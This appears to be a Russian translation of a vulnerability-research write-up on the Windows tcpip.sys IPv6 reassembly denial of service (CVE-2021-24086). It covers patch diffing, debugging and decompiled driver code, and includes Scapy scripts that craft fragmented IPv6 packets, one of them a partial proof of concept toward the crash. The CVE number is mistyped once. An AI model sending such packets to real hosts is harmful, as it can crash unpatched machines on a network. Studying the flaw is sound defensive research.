00 nt!DbgBreakPointWithStatus
01 nt!KiBugCheckDebugBreak
02 nt!KeBugCheck2
03 nt!KeBugCheckEx
04 nt!KiBugCheckDispatch
05 nt!KiPageFault
06 tcpip!Ipv6pReassembleDatagram
07 tcpip!Ipv6pReceiveFragment
08 tcpip!Ipv6pReceiveFragmentList
09 tcpip!IppReceiveHeaderBatch
0a tcpip!IppFlcReceivePacketsCore
0b tcpip!IpFlcReceivePackets
0c tcpip!FlpReceiveNonPreValidatedNetBufferListChain
0d tcpip!FlReceiveNetBufferListChainCalloutRoutine
0e nt!KeExpandKernelStackAndCalloutInternal
0f nt!KeExpandKernelStackAndCalloutEx
10 tcpip!FlReceiveNetBufferListChain
11 NDIS!ndisMIndicateNetBufferListsToOpen
12 NDIS!ndisMTopReceiveNetBufferLists
Для тех, кто готов к долгой поездке, давайте перейдем к делу
Разведка
Несмотря на то, что Франсиско Фалькон уже написал классный пост в блоге, в котором обсуждалась его работа по этому делу, я решил также написать свой; Я постараюсь осветить аспекты, которые меньше или вообще не освещены в его сообщении, например, внутреннее устройство tcpip.sys.
Хорошо, давайте начнем с начала: на данный момент я ничего не знаю о tcpip.sys и ничего не знаю о исправлениях ошибок. Сообщение в блоге Microsoft полезно, потому что дает нам несколько подсказок:
- Существует три различных уязвимости, которые, по-видимому, связаны с фрагментацией IPv4 и IPv6,
- Два из них оценены как удаленное выполнение кода, что означает, что они каким-то образом вызывают повреждение памяти,
- Один из них вызывает DoS, что означает, что он каким-то образом вызывает багчекинг.
Из этого твита мы также узнаем, что эти недостатки были обнаружены Microsoft @piazzt, и это здорово.
Поиск в Google также открывает кучу более полезной информации из-за того, что может показаться, что Microsoft в частном порядке делилась со своими партнерами PoC через программу MAPP.
На этом этапе я решил сосредоточиться на уязвимости DoS (CVE-2021-2486) в качестве первого шага. Я подумал, что её может быть проще запустить и что я смогу использовать полученные знания для её запуска, чтобы лучше понять tcpip.sys и, возможно, поработать над другими уязвимостями, если позволит время и мотивация.
Следующим логическим шагом является сравнение патчей для определения исправлений.
Сравнение патчей Microsoft в 2021 году
Честно говоря, я не могу вспомнить, когда в последний раз сравнивал патчи Microsoft. Вероятно, во время Windows XP/Windows 7, если честно. С тех пор многое изменилось. Обновления безопасности теперь являются накопительными, что означает, что в пакеты встроены все известные на сегодняшний день исправления. Вы можете получать пакеты прямо из каталога Центра обновления Майкрософт, что очень удобно. И последнее, но не менее важное: обновления Windows теперь используют прямой/обратный дифференциал; вы можете прочитать это https://docs.microsoft.com/en-us/windows/deployment/update/psfxwhitepaper, чтобы узнать больше о том, что это значит.
Извлечение и сравнение (https://wumb0.in/extracting-and-diffing-ms-patches-in-2020.html) исправлений Windows в 2020 году - отличный пост в блоге, в котором рассказывается о том, как распаковать исправления из пакета обновлений и как применять различия. Результатом этой работы является двоичный файл tcpip.sys до и после обновления. Если вам не хочется делать это самостоятельно, я загрузил два двоичных файла (а также их соответствующие общедоступные PDB), которые вы можете использовать для самостоятельного сравнения: 0vercl0k/CVE-2021-24086/binaries. Кроме того, после публикации этого поста я узнал об удивительном веб-сайте winbindex, который индексирует двоичные файлы Windows и позволяет загружать их одним щелчком мыши. Вот индекс, доступный для tcpip.sys в качестве примера.
Когда у нас есть двоичные файлы до и после сравнения, небольшой танец с IDA и старым добрым BinDiff дает следующий результат:
Здесь не так много изменений, на которые стоит обратить внимание, и это приятно, и кажется правильным сосредоточиться на Ipv6pReassembleDatagram. Microsoft упоминалось отключение повторной сборки пакетов (netsh int ipv6 set global reassemblylimit = 0), и эта функция, похоже, повторно собирает датаграммы;
Посмотрев на него некоторое время, пропатченный двоичный файл представил этот новый интересный на вид базовый блок:
Он заканчивается тем, что выглядит как сравнение с целым числом 0xffff и условным переходом, который либо завершается, либо продолжается. Это выглядит очень интересно, потому что в некоторых статьях упоминалось, что ошибка может быть вызвана пакетом, содержащим большое количество заголовков. Не то чтобы вы должны доверять подобным новостным статьям, поскольку они обычно не являются технически точными и сенсационными, но в этом может быть доля правды. В этот момент я почувствовал себя довольно хорошо и решил прекратить сравнения и начать реверс-инжиниринг. Я предположил, что проблема будет в каком-то целочисленном переполнении/усечении, которое можно легко запустить на основе имени функции. Нам просто нужно отправить большой пакет, верно?
Реверс-инжиниринг tcpip.sys
Вот где начинается настоящее путешествие и обычные эмоциональные американские горки при изучении уязвимых мест. Сначала я думал, что закончу с этим за несколько дней или неделю. Но я ошибался.
Крошечные шажки
Первым делом я подготовил лабораторную среду. Я установил Windows 10 (target) и виртуальную машину Linux (attacker), настроил KDNet и отладку ядра для отладки, установил Wireshark/Scapy (v2.4.4), создал виртуальный коммутатор, которым совместно пользуются две виртуальные машины. А также... наконец загрузил tcpip.sys в IDA. Модуль на первый взгляд выглядел довольно большим и сложным - в этом нет ничего удивительного; в конце концов, он реализует сетевой стек Windows IPv4 и IPv6. Я начал приключение, сосредоточившись сначала на Ipv6pReassembleDatagram. Вот фрагмент ассемблерного кода, который мы видели ранее в BinDiff и который выглядел интересно:
Отлично, это начало. Прежде чем углубиться в кроличью нору реверс-инижниринга, я решил попробовать задействовать функцию и отладить ее с помощью WinDbg. Поскольку название функции предполагает реассемблирование, я написал следующий код и применил его к своей цели:
from scapy.all import *
pkt = Ether() / IPv6(dst = 'ff02::1') / UDP() / ('a' * 0x1000)
sendp(fragment6(pkt, 500), iface = 'eth1')
Это успешно запускает точку останова в WinDbg и очень аккуратно:
kd> g
Breakpoint 0 hit
tcpip!Ipv6pReassembleDatagram:
fffff802`2edcdd6c 4488442418 mov byte ptr [rsp+18h],r8b
kd> kc
# Call Site
00 tcpip!Ipv6pReassembleDatagram
01 tcpip!Ipv6pReceiveFragment
02 tcpip!Ipv6pReceiveFragmentList
03 tcpip!IppReceiveHeaderBatch
04 tcpip!IppFlcReceivePacketsCore
05 tcpip!IpFlcReceivePackets
06 tcpip!FlpReceiveNonPreValidatedNetBufferListChain
07 tcpip!FlReceiveNetBufferListChainCalloutRoutine
08 nt!KeExpandKernelStackAndCalloutInternal
09 nt!KeExpandKernelStackAndCalloutEx
0a tcpip!FlReceiveNetBufferListChain
Мы даже можем наблюдать фрагментированные пакеты в Wireshark, что тоже довольно круто:
Для тех, кто не знаком с фрагментацией пакетов, это механизм, используемый для разделения больших пакетов (больше, чем максимальная единица передачи) на более мелкие порции, чтобы их можно было отправлять через сетевое оборудование. Принимающий сетевой стек должен безопасно сшить их вместе.
Хорошо, отлично. Теперь у нас есть то, что я считаю достаточно хорошей исследовательской средой, и мы можем начать копаться в коде. На этом этапе давайте не будем сосредоточиваться на уязвимости, а вместо этого попытаемся понять, как работает код, тип аргументов, которые он получает, а также восстановиим структуры и семантику важных полей и т. д. Давайте получим красивый вывод нашей декомпиляции через HexRays.
Как вы понимаете, это самая трудоемкая часть. Я использую микс снизу вверх и сверху вниз и делаю множество экспериментов. Я комментирую декомпилированный код как можно лучше, ставлю себе задачу, задавая вопросы, отвечая на них, пробую и повторяю.
Обзор с высокого уровня
Сложные драйверы, такие как tcpip.sys, огромны, несут много состояний и их трудно понимать как с точки зрения выполнения, так и потока данных. В этом случае есть целое число такого типа, которое, кажется, связано с чем-то, что было получено, и мы хотим установить для него значение 0xffff. К сожалению, просто сосредоточиться на Ipv6pReassembleDatagram и Ipv6pReceiveFragment было недостаточно для достижения значительного прогресса. Хотя попробовать стоило, но пора переключиться.
ЗумАут
Ладно, это круто, наш декомпилированный код HexRays становится все красивее и красивее; это приятно. Мы злоупотребили функцией создания новой структуры, чтобы поднять кучу структур. Мы догадывались о семантике некоторых из них, но большинство до сих пор неизвестно. Так что да, давайте будем умнее.
Мы знаем, что tcpip.sys принимает пакеты из сети; мы не знаем точно, как и откуда, но, возможно, нам и не нужно знать так много. Один из первых вопросов, который вы можете задать себе - как ядро хранит сетевые данные? Какие конструкции оно использует?
NET_BUFFER и NET_BUFFER_LIST
Если у вас есть опыт работы с ядром Windows, возможно, вы знакомы с NDIS и, возможно, слышали о некоторых API и структурах, которые он предоставляет пользователям.Это документировано, поскольку сторонние производители могут разрабатывать расширения и драйверы для взаимодействия с сетевым стеком в различных точках.
Важной структурой в этом мире является NET_BUFFER. Вот как это выглядит в WinDbg:
kd> dt NDIS!_NET_BUFFER
NDIS!_NET_BUFFER
+0x000 Next : Ptr64 _NET_BUFFER
+0x008 CurrentMdl : Ptr64 _MDL
+0x010 CurrentMdlOffset : Uint4B
+0x018 DataLength : Uint4B
+0x018 stDataLength : Uint8B
+0x020 MdlChain : Ptr64 _MDL
+0x028 DataOffset : Uint4B
+0x000 Link : _SLIST_HEADER
+0x000 NetBufferHeader : _NET_BUFFER_HEADER
+0x030 ChecksumBias : Uint2B
+0x032 Reserved : Uint2B
+0x038 NdisPoolHandle : Ptr64 Void
+0x040 NdisReserved : [2] Ptr64 Void
+0x050 ProtocolReserved : [6] Ptr64 Void
+0x080 MiniportReserved : [4] Ptr64 Void
+0x0a0 DataPhysicalAddress : _LARGE_INTEGER
+0x0a8 SharedMemoryInfo : Ptr64 _NET_BUFFER_SHARED_MEMORY
+0x0a8 ScatterGatherList : Ptr64 _SCATTER_GATHER_LIST
Это может выглядеть ошеломляющим, но нам не нужно разбираться во всех деталях. Важно то, что сетевые данные хранятся в обычных MDL. Как MDL, NET_BUFFER может быть объединен в цепочку, что позволяет ядру хранить большой объем данных в группе несмежных фрагментов физической памяти; виртуальная память - это волшебная палочка, с помощью которой данные выглядят непрерывно. Для читателей, не знакомых с разработкой ядра Windows, MDL - это конструкция ядра Windows, которая позволяет пользователям отображать физическую память в непрерывной области виртуальной памяти. За каждым MDL на самом деле следует список PFN (которые не обязательно должны быть смежными), которые ядро Windows может отображать в непрерывную область виртуальной памяти; Магия.
kd> dt nt!_MDL
+0x000 Next : Ptr64 _MDL
+0x008 Size : Int2B
+0x00a MdlFlags : Int2B
+0x00c AllocationProcessorNumber : Uint2B
+0x00e Reserved : Uint2B
+0x010 Process : Ptr64 _EPROCESS
+0x018 MappedSystemVa : Ptr64 Void
+0x020 StartVa : Ptr64 Void
+0x028 ByteCount : Uint4B
+0x02c ByteOffset : Uint4B
NET_BUFFER_LIST - это в основном структура для отслеживания списка NET_BUFFER, как следует из названия:
kd> dt NDIS!_NET_BUFFER_LIST
+0x000 Next : Ptr64 _NET_BUFFER_LIST
+0x008 FirstNetBuffer : Ptr64 _NET_BUFFER
+0x000 Link : _SLIST_HEADER
+0x000 NetBufferListHeader : _NET_BUFFER_LIST_HEADER
+0x010 Context : Ptr64 _NET_BUFFER_LIST_CONTEXT
+0x018 ParentNetBufferList : Ptr64 _NET_BUFFER_LIST
+0x020 NdisPoolHandle : Ptr64 Void
+0x030 NdisReserved : [2] Ptr64 Void
+0x040 ProtocolReserved : [4] Ptr64 Void
+0x060 MiniportReserved : [2] Ptr64 Void
+0x070 Scratch : Ptr64 Void
+0x078 SourceHandle : Ptr64 Void
+0x080 NblFlags : Uint4B
+0x084 ChildRefCount : Int4B
+0x088 Flags : Uint4B
+0x08c Status : Int4B
+0x08c NdisReserved2 : Uint4B
+0x090 NetBufferListInfo : [29] Ptr64 Void
Опять же, не нужно разбираться во всех деталях, достаточно хорошо мыслить концепциями. Вдобавок ко всему, Microsoft упрощает нашу жизнь, предоставляя очень полезное расширение WinDbg под названием ndiskd. Он предоставляет две функции для дампа NET_BUFFER и NET_BUFFER_LIST :!Ndiskd.nb и!Ndiskd.nbl соответственно. Это большая экономия времени, потому что они заботятся об обходе различных уровней косвенности: список NET_BUFFER и цепочки MDL.
Механика разбора пакета IPv6
Теперь, когда мы знаем, где и как хранятся сетевые данные, мы можем спросить себя, как работает синтаксический анализ пакетов IPv6? У меня очень мало знаний о работе в сети, но я знаю, что существуют различные заголовки, которые нужно анализировать по-разному и что они могут быть связаны друг с другом. Слой N сообщает вам, что вы найдете дальше.
То, что я собираюсь описать, - это то, что я выяснил во время реверс инжиниринга, а также то, что я наблюдал во время отладки посредством бесчисленных экспериментов. Полное раскрытие: я не эксперт, так что отнеситесь к этому с недоверием
Интересующей нас функцией верхнего уровня является IppReceiveHeaderBatch. Первое, что она делает, - это вызывает IppReceiveHeadersHelper для каждого пакета в списке:
if ( Packet )
{
do
{
Next = Packet->Next;
Packet->Next = 0;
IppReceiveHeadersHelper(Packet, Protocol, ...);
Packet = Next;
}
while ( Next );
}
Packet_t - это недокументированная структура, связанная с полученными пакетами. В этой структуре хранится множество состояний, и выяснение семантики важных полей занимает много времени. Основная роль IppReceiveHeadersHelper - запустить машину синтаксического анализа. Он анализирует заголовок IPv6 (или IPv4) пакета и читает поле next_header. Как я упоминал выше, это поле очень важно, потому что оно указывает, как читать следующий уровень пакета. Это значение хранится в структуре пакета, и множество функций читает и обновляет его во время синтаксического анализа.
NetBufferList = Packet->NetBufferList;
HeaderSize = Protocol->HeaderSize;
FirstNetBuffer = NetBufferList->FirstNetBuffer;
CurrentMdl = FirstNetBuffer->CurrentMdl;
if ( (CurrentMdl->MdlFlags & 5) != 0 )
Va = CurrentMdl->MappedSystemVa;
else
Va = MmMapLockedPagesSpecifyCache(CurrentMdl, 0, MmCached, 0, 0, 0x40000000u);
IpHdr = (ipv6_header_t *)((char *)Va + FirstNetBuffer->CurrentMdlOffset);
if ( Protocol == (Protocol_t *)Ipv4Global )
{
// ...
}
else
{
Packet->NextHeader = IpHdr->next_header;
Packet->NextHeaderPosition = offsetof(ipv6_header_t, next_header);
SrcAddrOffset = offsetof(ipv6_header_t, src);
}
Функция делает гораздо больше; она инициализирует несколько полей Packet_t, но пока давайте проигнорируем это, чтобы не перегружать себя сложностью. Как только функция возвращается в IppReceiveHeaderBatch, она извлекает демультиплексор из структуры Protocol_t и вызывает обратный вызов парсера, если NextHeader является допустимым заголовком расширения. Структура Protocol_t содержит массив Demuxer_t (термин, используемый в драйвере).
C:
struct Demuxer_t
{
void (__fastcall *Parse)(Packet_t *);
void *f0;
void *f1;
void *Size;
void *f3;
_BYTE IsExtensionHeader;
_BYTE gap[23];
};
struct Protocol_t
{
// ...
Demuxer_t Demuxers[277];
};
NextHeader (заполненный ранее в IppReceiveHeaderBatch) - это значение, используемое для индексации в этом массиве.
Если демультиплексор обрабатывает заголовок расширения, то вызывается обратный вызов для правильного анализа заголовка. Это происходит в цикле до тех пор, пока синтаксический анализ не достигнет первой части пакета, не являющейся заголовком, и в этом случае он обрабатывает следующий пакет.
C:
while ( ... )
{
NetBufferList = RcvList->NetBufferList;
IpProto = RcvList->NextHeader;
if ( ... )
{
Demuxer = (Demuxer_t *)IpUdpEspDemux;
}
else
{
Demuxer = &Protocol->Demuxers[IpProto];
}
if ( !Demuxer->IsExtensionHeader )
Demuxer = 0;
if ( Demuxer )
Demuxer->Parse(RcvList);
else
RcvList = RcvList->Next;
}
Легко сдампить демультиплексоры и связанных с ними значений NextHeader/Parse; они могут пригодиться позже.
- nh = 0 -> Ipv6pReceiveHopByHopOptions
- nh = 43 -> Ipv6pReceiveRoutingHeader
- nh = 44 -> Ipv6pReceiveFragmentList
- nh = 60 -> Ipv6pReceiveDestinationOptions
Demuxer может предоставить для синтаксического анализа процедуру обратного вызова, которую я назвал Parse. Метод Parse получает пакет и может бесплатно обновить его состояние; например, чтобы захватить NextHeader, который необходим, чтобы знать, как анализировать следующий слой. Вот как выглядит Ipv6pReceiveFragmentList (Ipv6FragmentDemux.Parse):
Перед тем, как продолжить, он проверяет, является ли следующий заголовок типом IPPROTO_FRAGMENT. Это все механика фрагментации IPv6.
Теперь, когда мы немного лучше понимаем общий поток, самое время подумать о фрагментации. Мы знаем, что нам нужно отправлять фрагментированные пакеты, чтобы попасть в код, который был исправлен обновлением, что, как мы знаем, каким-то образом важно. Функция, которая анализирует фрагменты, называется Ipv6pReceiveFragment, и это непростая функция. Опять же, отслеживание фрагментов, вероятно, и оправдывает это, так что здесь нет ничего неожиданного.
Это также подходящее время для нас, чтобы прочитать литературу о том, как именно работает фрагментация IPv6. Концепции были полезны до сих пор, но сейчас нам нужно разобраться в мельчайших деталях. Я не хочу тратить на это слишком много времени, так как в Интернете есть масса контента, обсуждающего эту тему, поэтому я просто дам вам краткую сводку. Чтобы определить фрагмент, вам нужно добавить заголовок фрагментации, который в Scapy land называется IPv6ExtHdrFragment:
Python:
class IPv6ExtHdrFragment(_IPv6ExtHdr):
name = "IPv6 Extension Header - Fragmentation header"
fields_desc = [ByteEnumField("nh", 59, ipv6nh),
BitField("res1", 0, 8),
BitField("offset", 0, 13),
BitField("res2", 0, 2),
BitField("m", 0, 1),
IntField("id", None)]
overload_fields = {IPv6: {"nh": 44}}
Наиболее важными для нас полями являются:
- смещение, которое сообщает начальное смещение того, где данные, следующие за этим заголовком, должны быть помещены в повторно собранный пакет
- бит m, который указывает, является ли это последним фрагментом.
Обратите внимание, что поле смещения имеет размер блоков по 8 байтов; если вы установите его в 1, это означает, что ваши данные будут иметь размер +8 байт. Если вы установите значение 2, они будут равны +16 байтам и т.д.
Вот небольшая функция фрагментации IPv6 , которую я написал, чтобы убедиться, что я правильно все понимаю. Мне нравится учиться на практике.
Python:
def frag6(target, frag_id, bytes, nh, frag_size = 1008):
'''Ghetto fragmentation.'''
assert (frag_size % 8) == 0
leftover = bytes
offset = 0
frags = []
while len(leftover) > 0:
chunk = leftover[: frag_size]
leftover = leftover[len(chunk): ]
last_pkt = len(leftover) == 0
# 0 -> No more / 1 -> More
m = 0 if last_pkt else 1
assert offset < 8191
pkt = Ether() \
/ IPv6(dst = target) \
/ IPv6ExtHdrFragment(m = m, nh = nh, id = frag_id, offset = offset) \
/ chunk
offset += (len(chunk) // 8)
frags.append(pkt)
return frags
Достаточно просто. Другой важный аспект фрагментации в литературе связан с заголовками IPv6 и тем, что называется нефрагментируемой частью пакета. Вот как Microsoft описывает нефрагментируемую часть: "Эта часть состоит из заголовка IPv6, заголовка параметров перехода, заголовка параметров назначения для промежуточных пунктов назначения и заголовка маршрутизации". Это также часть, которая предшествует заголовку фрагментации. Очевидно, что если есть нефрагментируемая часть, есть и фрагментируемая часть. Фрагментируемая часть - это то, что вы отправляете за заголовком фрагментации. Процесс повторного ассемблирования - это процесс сшивания нефрагментируемой части с повторно собранной фрагментированной частью в один красивый повторно собранный пакет. Вот диаграмма, взятая из "Понимания заголовка IPv6", которая довольно хорошо подводит итог:
Вся эта теоретическая информация очень полезна, потому что теперь мы можем искать эти детали во время реверс инижиниринга. Всегда легче читать код и пытаться сопоставить его с тем, что он должен делать.
Теория против практики: Ipv6pReceiveFragment
В этот момент я почувствовал, что накопил достаточно новой информации, и пришло время вернуться к цели.
Мы хотим убедиться, что реальность работает так, как говорится в литературе, и тем самым улучшим наше общее понимание. После некоторого изучения этого кода мы начинаем понимать больше строк. Функция принимает пакет, но поскольку эта структура зависит от пакета, этого недостаточно для отслеживания состояния, необходимого для повторной сборки пакета. Вот почему для этого используется другая важная структура; Я назвал её Reassembly.
Общий поток в основном разбит на три основные части; Опять же, нам не нужно разбираться в каждой детали, давайте просто разберемся концептуально и что/как он пытается достичь своих целей:
*1 - Выясните, является ли полученный фрагмент частью уже существующей структуры Reassembly. Согласно литературе, мы знаем, что сетевые стеки должны использовать адрес источника, адрес назначения, а также идентификатор заголовка фрагментации, чтобы определить, является ли текущий пакет частью группы фрагментов. На практике функция IppReassemblyHashKey хеширует эти поля вместе, и полученный хеш используется для индексации в хеш-таблицу, в которой хранятся структуры Reassembly (Ipv6pFragmentLookup):
C:
int IppReassemblyHashKey(__int64 Iface, int Identification, __int64 Pkt)
{
//...
Protocol = *(_QWORD *)(Iface + 40);
OffsetSrcIp = 12i64;
AddressLength = *(unsigned __int16 *)(*(_QWORD *)(Protocol + 16) + 6i64);
if ( Protocol != Ipv4Global )
OffsetSrcIp = offsetof(ipv6_header_t, src);
H = RtlCompute37Hash(
g_37HashSeed,
Pkt + OffsetSrcIp,
AddressLength);
OffsetDstIp = 16i64;
if ( Protocol != Ipv4Global )
OffsetDstIp = offsetof(ipv6_header_t, dst);
H2 = RtlCompute37Hash(H, Pkt + OffsetDstIp, AddressLength);
return RtlCompute37Hash(H2, &Identification, 4i64) | 0x80000000;
}
Reassembly_t* Ipv6pFragmentLookup(__int64 Iface, int Identification, ipv6_header_t *Pkt, KIRQL *OldIrql)
{
// ...
v5 = *(_QWORD *)Iface;
Context.Signature = 0;
HashKey = IppReassemblyHashKey(v5, Identification, (__int64)Pkt);
*OldIrql = KeAcquireSpinLockRaiseToDpc(&Ipp6ReassemblyHashTableLock);
*(_OWORD *)&Context.ChainHead = 0;
for ( CurrentReassembly = (Reassembly_t *)RtlLookupEntryHashTable(&Ipp6ReassemblyHashTable, HashKey, &Context);
;
CurrentReassembly = (Reassembly_t *)RtlGetNextEntryHashTable(&Ipp6ReassemblyHashTable, &Context) )
{
// If we have walked through all the entries in the hash-table,
// then we can just bail.
if ( !CurrentReassembly )
return 0;
// If the current entry matches our iface, pkt id, ip src/dst
// then we found a match!
if ( CurrentReassembly->Iface == Iface
&& CurrentReassembly->Identification == Identification
&& memcmp(&CurrentReassembly->Ipv6.src.u.Byte[0], &Pkt->src.u.Byte[0], 16) == 0
&& memcmp(&CurrentReassembly->Ipv6.dst.u.Byte[0], &Pkt->dst.u.Byte[0], 16) == 0 )
{
break;
}
}
// ...
return CurrentReassembly;
}
* 1.1 - Если фрагмент не принадлежит ни к одной известной группе, его необходимо поместить во вновь созданную Reassembly. Это то, что делает IppCreateInReassemblySet. Стоит отметить, что это представляет интерес для реверс-инженера, поскольку именно здесь выделяется и создается объект Reassembly (в IppCreateReassembly). Это означает, что мы можем получить его размер, а также дополнительную информацию о некоторых полях.
C:
Reassembly_t *IppCreateInReassemblySet(
PKSPIN_LOCK SpinLock, void *Src, __int64 Iface, __int64 Identification, KIRQL NewIrql
)
{
Reassembly_t *Reassembly = IppCreateReassembly(Src, Iface, Identification);
if ( Reassembly )
{
IppInsertReassembly((__int64)SpinLock, Reassembly);
KeAcquireSpinLockAtDpcLevel(&Reassembly->Lock);
KeReleaseSpinLockFromDpcLevel(SpinLock);
}
else
{
KeReleaseSpinLock(SpinLock, NewIrql);
}
return Reassembly;
}
* 2 - Теперь, когда у нас есть структура Reassembly, основная функция хочет выяснить, где текущий фрагмент вписывается в общий повторно собранный пакет. Reassembly отслеживает фрагменты с помощью различных списков. Он использует ContiguousList, который связывает фрагменты, которые будут смежными в повторно собранном пакете. IppReassemblyFindLocation - это функция, которая, кажется, реализует логику, чтобы выяснить, где подходит текущий фрагмент.
* 2.1 - Если IppReassemblyFindLocation возвращает указатель на начало ContiguousList, это означает, что текущий пакет является первым фрагментом. Здесь функция извлекает и отслеживает нефрагментируемую часть пакета. Он хранится в буфере пула, на который есть ссылка в структуре Reassembly.
C:
if ( ReassemblyLocation == &Reassembly->ContiguousStartList )
{
Reassembly->NextHeader = Fragment->nexthdr;
UnfragmentableLength = LOWORD(Packet->NetworkLayerHeaderSize) - 48;
Reassembly->UnfragmentableLength = UnfragmentableLength;
if ( UnfragmentableLength )
{
UnfragmentableData = ExAllocatePoolWithTagPriority(
(POOL_TYPE)512,
UnfragmentableLength,
'erPI',
LowPoolPriority
);
Reassembly->UnfragmentableData = UnfragmentableData;
if ( !UnfragmentableData )
{
// ...
goto Bail_0;
}
// ...
// Copy the unfragmentable part of the packet inside the pool
// buffer that we have allocated.
RtlCopyMdlToBuffer(
FirstNetBuffer->MdlChain,
FirstNetBuffer->DataOffset - Packet->NetworkLayerHeaderSize + 0x28,
Reassembly->UnfragmentableData,
Reassembly->UnfragmentableLength,
v51);
NextHeaderOffset = Packet->NextHeaderPosition;
}
Reassembly->NextHeaderOffset = NextHeaderOffset;
*(_QWORD *)&Reassembly->Ipv6 = *(_QWORD *)Packet->Ipv6Hdr;
}
* 3 - Затем фрагмент добавляется в Reassembly как часть группы фрагментов с помощью IppReassemblyInsertFragment. Кроме того, если мы получили все фрагменты, необходимые для начала повторной сборки, вызывается функция Ipv6pReassembleDatagram. Помните этого парня? Это функция, которая была пропатчена и о которой мы говорили ранее в этом посте. Но на этот раз мы понимаем, как мы туда попали.
На этом этапе мы хорошо понимаем, какие структуры данных используются для отслеживания групп фрагментов и того, как и когда начинается повторная сборка. Мы также прокомментировали и доработали различные поля структуры, про которые мы говорили в начале процесса; это очень полезно, потому что теперь мы можем понять, как исправить уязвимость:
C:
void Ipv6pReassembleDatagram(Packet_t *Packet, Reassembly_t *Reassembly, char OldIrql)
{
//...
UnfragmentableLength = Reassembly->UnfragmentableLength;
TotalLength = UnfragmentableLength + Reassembly->DataLength;
HeaderAndOptionsLength = UnfragmentableLength + sizeof(ipv6_header_t);
// Below is the added code by the patch
if ( TotalLength > 0xFFF ) {
// Bail
}
Как это круто верно? Это действительно полезно. Выполнение кучи работы, которая может показаться не такой полезной в начале, но в конечном итоге складывается в полезную работу. Это просто медленный процесс, и к нему нужно привыкнуть; так и делается эта вкусная колбаска.
Не будем забегать вперед, эмоциональные американские горки уже не за горами
Скрываясь на виду
Хорошо - на этом я думаю, что мы закончили с уменьшением масштаба и пониманием общей картины. Мы достаточно хорошо понимаем нашего зверя, чтобы начать возвращаться к нашему BsoD. Прочитав Ipv6pReassembleDatagram несколько раз, я, честно говоря, не мог понять, где может произойти заявленный сбой. Довольно неприятно для мення :/ Вот почему я решил вместо этого использовать отладчик для изменения Reassembly-> DataLength и UnfragmentableLength во время выполнения, чтобы посмотреть, может ли это дать мне какие-либо подсказки. Первый, похоже, ничего не сделал, но второй проверил нашу программу на ошибку с разыменованием NULL, и бинго, которое выглядит как раз тем что нужно!
После тщательного анализа крэша я начал понимать, что потенциальная проблема скрывается на виду у меня на глазах; вот этот код:
C:
void Ipv6pReassembleDatagram(Packet_t *Packet, Reassembly_t *Reassembly, char OldIrql)
{
// ...
const uint32_t UnfragmentableLength = Reassembly->UnfragmentableLength;
const uint32_t TotalLength = UnfragmentableLength + Reassembly->DataLength;
const uint32_t HeaderAndOptionsLength = UnfragmentableLength + sizeof(ipv6_header_t);
// …
NetBufferList = (_NET_BUFFER_LIST *)NetioAllocateAndReferenceNetBufferAndNetBufferList(
IppReassemblyNetBufferListsComplete,
Reassembly,
0i64,
0i64,
0,
0);
if ( !NetBufferList )
{
// ...
goto Bail_0;
}
FirstNetBuffer = NetBufferList->FirstNetBuffer;
if ( NetioRetreatNetBuffer(FirstNetBuffer, uint16_t(HeaderAndOptionsLength), 0) < 0 )
{
// ...
goto Bail_1;
}
Buffer = (ipv6_header_t *)NdisGetDataBuffer(FirstNetBuffer, HeaderAndOptionsLength, 0i64, 1u, 0);
//...
*Buffer = Reassembly->Ipv6;
NetioAllocateAndReferenceNetBufferAndNetBufferList выделяет новый NBL под названием NetBufferList. Затем вызывается NetioRetreatNetBuffer:
C:
NDIS_STATUS NetioRetreatNetBuffer(_NET_BUFFER *Nb, ULONG Amount, ULONG DataBackFill)
{
const uint32_t CurrentMdlOffset = Nb->CurrentMdlOffset;
if ( CurrentMdlOffset < Amount )
return NdisRetreatNetBufferDataStart(Nb, Amount, DataBackFill, NetioAllocateMdl);
Nb->DataOffset -= Amount;
Nb->DataLength += Amount;
Nb->CurrentMdlOffset = CurrentMdlOffset - Amount;
return 0;
}
Поскольку FirstNetBuffer только что был выделен, он пуст и большинство его полей равны нулю. Это означает, что NetioRetreatNetBuffer запускает вызов NdisRetreatNetBufferDataStart, который публично задокументирован. Согласно документации, он должен выделить MDL с помощью NetioAllocateMdl, поскольку сетевой буфер пуст, как мы упоминали выше. Следует отметить, что количество байтов HeaderAndOptionsLength, передаваемое в NetioRetreatNetBuffer, усекается до uint16_t.
C:
if ( NetioRetreatNetBuffer(FirstNetBuffer, uint16_t(HeaderAndOptionsLength), 0) < 0 )
Теперь, когда в NB есть резервное пространство для заголовка IPv6, а также нефрагментируемой части пакета, ему необходимо получить указатель на резервные данные, чтобы заполнить буфер. NdisGetDataBuffer задокументирован для получения доступа к непрерывному блоку данных из структуры NET_BUFFER. Прочитав документацию несколько раз, меня это немного сбило с толку, поэтому я решил, что брошу NDIS в IDA и посмотрю на эту реализацию:
C:
PVOID NdisGetDataBuffer(PNET_BUFFER NetBuffer, ULONG BytesNeeded, PVOID Storage, UINT AlignMultiple, UINT AlignOffset)
{
const _MDL *CurrentMdl = NetBuffer->CurrentMdl;
if ( !BytesNeeded || !CurrentMdl || NetBuffer->DataLength < BytesNeeded )
return 0i64;
// ...
При взгляде на начало реализации что-то бросается в глаза. Поскольку NdisGetDataBuffer вызывается с HeaderAndOptionsLength (не усеченным), мы должны иметь возможность выполнить следующее условие NetBuffer->DataLength < BytesNeeded, когда HeaderAndOptionsLength больше 0xffff. Почему так спросишь ты? Возьмем этот пример. HeaderAndOptionsLength - 0x1337, поэтому NetioRetreatNetBuffer выделяет резервный буфер размером 0x1337 байт, а NdisGetDataBuffer возвращает указатель на вновь выделенные данные; работает как положено. Теперь представим, что HeaderAndOptionsLength равен 0x31337. Это означает, что NetioRetreatNetBuffer выделяет 0x1337 (из-за усечения) байтов, но вызывает NdisGetDataBuffer с 0x31337, что приводит к сбою вызова, потому что сетевой буфер недостаточно велик, и мы достигли этого условия NetBuffer-> DataLength < BytesNeeded.
Поскольку считается, что возвращенный указатель не равен NULL, Ipv6pReassembleDatagram продолжает использовать его для записи в память:
C:
*Buffer = Reassembly->Ipv6;
Здесь следует сработать багчек. Как обычно, мы можем проверить наше понимание функции с помощью сеанса WinDbg. Вот простой скрипт Python, который отправляет два фрагмента:
Python:
from scapy.all import *
id = 0xdeadbeef
first = Ether() \
/ IPv6(dst = 'ff02::1') \
/ IPv6ExtHdrFragment(id = id, m = 1, offset = 0) \
/ UDP(sport = 0x1122, dport = 0x3344) \
/ '---frag1'
second = Ether() \
/ IPv6(dst = 'ff02::1') \
/ IPv6ExtHdrFragment(id = id, m = 0, offset = 2) \
/ '---frag2'
